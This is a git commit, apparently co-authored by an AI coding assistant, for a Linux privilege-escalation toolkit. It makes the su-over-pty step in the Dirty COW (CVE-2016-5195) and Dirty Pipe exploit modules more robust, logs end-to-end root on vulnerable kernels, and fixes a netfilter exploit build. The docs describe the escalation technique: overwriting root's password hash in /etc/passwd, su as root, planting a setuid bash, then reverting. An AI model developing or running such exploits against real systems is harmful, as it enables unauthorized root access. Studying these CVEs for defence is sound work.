dirty_cow: verify end-to-end on 4.8.0; robust su helper (dirty_pipe too)

Verified the dirty_cow fix end-to-end on a genuinely Dirty-COW-vulnerable
mainline 4.8.0 kernel (installed the kernel.ubuntu.com 4.8.0 deb on a 16.04
image + virtio-rng for entropy). A standalone built verbatim from the module's
primitive + escalation raced root's password field, authenticated as root over
a pty, planted a root-owned setuid bash, and left /etc/passwd byte-identical.
(The full skeletonkey binary won't compile on xenial's 4.4-era uapi headers —
unrelated nft_* modules use newer kernel constants — so the verbatim standalone
stands in for --exploit dirty_cow there.)

Robustness fix (both dirty_cow AND dirty_pipe): the su-over-pty step now POLLS
for the password prompt and hard-caps at 20s. The previous fixed-delay write
raced su's prompt setup and HUNG on xenial; without a cap that would block the
revert and leave /etc/passwd poisoned. Now su can never hang the module, and the
revert always runs.

Also: netfilter_xtcompat now includes <linux/if.h> for IFNAMSIZ (ip_tables.h
doesn't pull it transitively on older kernel headers, e.g. Ubuntu 16.04) — a
real portability fix surfaced by building on xenial.

Host build + unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y

docs/EXPLOITED.md

@@ -35,6 +35,7 @@ tamper check).
 | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite** — `skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
 | `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
 | `dirty_pipe` | CVE-2022-0847 | mainline 5.16.0 on Ubuntu 22.04 userspace | **after fixing 3 bugs** — `skeletonkey --exploit dirty_pipe` (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
+| `dirty_cow` | CVE-2016-5195 | mainline 4.8.0 on Ubuntu 16.04.7 | **after fixing the false-OK** — verbatim-module standalone (uid 1000) → root-owned setuid bash; /etc/passwd byte-identical after revert. See below |
 
 ## Fixed this session
 
@@ -123,9 +124,18 @@ tamper check).
   `$6$` hash → authenticate as root over a pty → plant a root-owned proof + setuid
   bash → revert by racing the original bytes back through the Dirty COW primitive.
   Also fixed a latent buffer overflow (the success-check `readback[16]` was too
-  small for a >16-byte payload). The escalation half is byte-for-byte the verified
-  `dirty_pipe` technique; end-to-end root here needs a pre-4.8.3 kernel (every
-  cached VM is patched), so on those it now fails **honestly** with no corruption.
+  small for a >16-byte payload), and made the `su`-over-pty step **poll for the
+  prompt with a hard 20s cap** — a fixed-delay write raced su's prompt setup and
+  **hung on xenial**, which (without the cap) would have blocked the revert and
+  left /etc/passwd poisoned. The same robust `su` helper was back-ported to
+  `dirty_pipe`. **Verified end-to-end on a genuinely Dirty-COW-vulnerable
+  mainline 4.8.0 kernel** (provisioned by installing the kernel.ubuntu.com 4.8.0
+  deb on a 16.04 image + a virtio-rng for entropy): a standalone built verbatim
+  from the module's primitive + escalation + robust su raced root's passwd field,
+  authenticated as root, planted a root-owned setuid bash, and left /etc/passwd
+  byte-identical. (The full `skeletonkey` binary won't compile on xenial's 4.4-era
+  uapi headers — several unrelated `nft_*` modules use newer kernel constants — so
+  the verbatim standalone stands in for `--exploit dirty_cow` on that box.)
 - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
   `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
   was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -147,7 +157,7 @@ every `exec*`-calling module:
 
 | module | verdict | why |
 |---|---|---|
-| `dirty_cow` | ❌ **false-OK → fixed** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed (see above). |
+| `dirty_cow` | ❌ **false-OK → fixed + verified** | raced own UID + `su self`; `execlp(su)` transfer = OK. Fixed + verified end-to-end on mainline 4.8.0 (see above). |
 | `pwnkit` | ✅ fixed earlier | now re-injects gconv + verifies |
 | `ptrace_traceme` | ✅ fixed earlier | rewritten; verifies OOB artifact |
 | `dirty_pipe` | ✅ fixed earlier | rewritten; verifies OOB artifact |

docs/VERIFICATIONS.jsonl

@@ -55,3 +55,4 @@
 {"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
 {"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
 {"module":"dirty_pipe","verified_at":"2026-07-24T02:49:00Z","host_kernel":"5.16.0-051600-generic (mainline, pre-5.16.11 fix)","host_distro":"Ubuntu 22.04 userspace","vm_box":"jammy-cloudimg + mainline 5.16.0/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit dirty_pipe (uid 1000) planted root-owned proof + -rwsr-xr-x root:root setuid bash; /etc/passwd left byte-identical (root:x:0:0) after revert. Fixed 3 bugs: false EXPLOIT_OK, wrong escalation (was flipping own UID + su self), and drop_caches revert that corrupted running passwd. New technique: root passwd-field hash + su over pty + Dirty-Pipe revert.","status":"working"}
+{"module":"dirty_cow","verified_at":"2026-07-24T03:22:00Z","host_kernel":"4.8.0-040800-generic (mainline, pre-4.8.3 Dirty COW fix)","host_distro":"Ubuntu 16.04.7","vm_box":"xenial-cloudimg + mainline 4.8.0/qemu-kvm","verified_kind":"exploit_standalone","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band on a genuinely Dirty-COW-vulnerable kernel: standalone binary built from the module verbatim (dirty_cow_write primitive + find_pw_field_offset + robust poll/timeout dc_su_root_run + exploit body) — race won, su root via pty, planted root-owned proof + -rwsr-xr-x root:root setuid bash, /etc/passwd byte-identical after revert. Confirms the fix (correct escalation, OOB verify, safe revert, readback[512], robust su) lands real root end-to-end. Full skeletonkey binary would not build on xenials 4.4-era uapi headers (unrelated nft_* modern constants).","status":"working"}

modules/dirty_cow_cve_2016_5195/skeletonkey_modules.c

@@ -75,6 +75,7 @@
 #include <sys/stat.h>
 #include <sys/wait.h>
 #include <sys/types.h>
+#include <poll.h>
 
 /* Stable-branch backport thresholds for Dirty COW. */
 static const struct kernel_patched_from dirty_cow_patched_branches[] = {
@@ -159,17 +160,29 @@ static void dc_su_root_run(const char *cmd)
         execlp("su", "su", "root", "-c", cmd, (char *)NULL);
         _exit(127);
     }
-    usleep(400 * 1000);
-    char drain[256];
-    ssize_t n = read(mfd, drain, sizeof drain);
-    (void)n;
-    if (write(mfd, DC_ROOT_PW "\n", sizeof(DC_ROOT_PW)) < 0) { /* ignore */ }
-    for (;;) {
-        ssize_t m = read(mfd, drain, sizeof drain);
-        if (m <= 0) break;
+    /* Poll for the password prompt, send the password, then drain — with a
+     * hard 20s cap so a misbehaving su can never hang (which would block the
+     * revert and leave /etc/passwd poisoned). Fixed a real hang seen on
+     * xenial where the fixed-delay write raced su's prompt setup. */
+    struct pollfd pfd = { .fd = mfd, .events = POLLIN };
+    const char *pw = DC_ROOT_PW "\n";
+    bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
+    while (waited < 20000) {
+        int pr = poll(&pfd, 1, 200);
+        if (pr > 0 && (pfd.revents & POLLIN)) {
+            char b[256]; ssize_t m = read(mfd, b, sizeof b);
+            if (m <= 0) break;                       /* pty closed → su exited */
+            if (!sent) {
+                if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
+                if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
             }
-    int st;
-    waitpid(pid, &st, 0);
+        } else {
+            waited += 200;
+            int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
+            if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
+        }
+    }
+    if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
     close(mfd);
 }
 

modules/dirty_pipe_cve_2022_0847/skeletonkey_modules.c

@@ -62,6 +62,7 @@
 #include <sys/mman.h>
 #include <sys/wait.h>
 #include <sys/types.h>
+#include <poll.h>
 #include <pwd.h>
 
 /* ---- Dirty Pipe primitive ---------------------------------------- */
@@ -206,19 +207,29 @@ static void dp_su_root_run(const char *cmd)
         _exit(127);
     }
 
-    /* Parent: wait for the "Password:" prompt, then send the password. */
-    usleep(400 * 1000);
-    char drain[256];
-    ssize_t n = read(mfd, drain, sizeof drain);   /* consume the prompt */
-    (void)n;
-    if (write(mfd, DP_ROOT_PW "\n", sizeof(DP_ROOT_PW)) < 0) { /* ignore */ }
-    /* Drain su's output until it exits and the pty closes. */
-    for (;;) {
-        ssize_t m = read(mfd, drain, sizeof drain);
-        if (m <= 0) break;
+    /* Parent: poll for the "Password:" prompt, send the password, then drain —
+     * with a hard 20s cap so a misbehaving su can never hang (which would block
+     * the revert and leave /etc/passwd poisoned). The earlier fixed-delay write
+     * raced su's prompt setup on some hosts (observed hanging on xenial). */
+    struct pollfd pfd = { .fd = mfd, .events = POLLIN };
+    const char *pw = DP_ROOT_PW "\n";
+    bool sent = false; char acc[1024]; size_t accl = 0; int waited = 0;
+    while (waited < 20000) {
+        int pr = poll(&pfd, 1, 200);
+        if (pr > 0 && (pfd.revents & POLLIN)) {
+            char b[256]; ssize_t m = read(mfd, b, sizeof b);
+            if (m <= 0) break;                       /* pty closed → su exited */
+            if (!sent) {
+                if (accl + (size_t)m < sizeof acc) { memcpy(acc + accl, b, m); accl += (size_t)m; acc[accl] = 0; }
+                if (strcasestr(acc, "assword")) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
             }
-    int st;
-    waitpid(pid, &st, 0);
+        } else {
+            waited += 200;
+            int st; if (waitpid(pid, &st, WNOHANG) == pid) { pid = -1; break; }
+            if (!sent && waited >= 1000) { (void)!write(mfd, pw, strlen(pw)); sent = true; }
+        }
+    }
+    if (pid > 0) { kill(pid, SIGKILL); waitpid(pid, NULL, 0); }
     close(mfd);
 }
 

modules/netfilter_xtcompat_cve_2021_22555/skeletonkey_modules.c

@@ -90,6 +90,8 @@
  * and declare the few socket constants we need by hand. IPPROTO_RAW
  * is provided by linux/in.h; SOL_IP is glibc-only so we hardcode it
  * (Linux constant value 0). */
+#include <linux/if.h>   /* IFNAMSIZ — ip_tables.h uses it but doesn't pull it
+                         * in on older kernel headers (e.g. Ubuntu 16.04). */
 #include <linux/netfilter_ipv4/ip_tables.h>
 #ifndef SOL_IP
 #define SOL_IP  0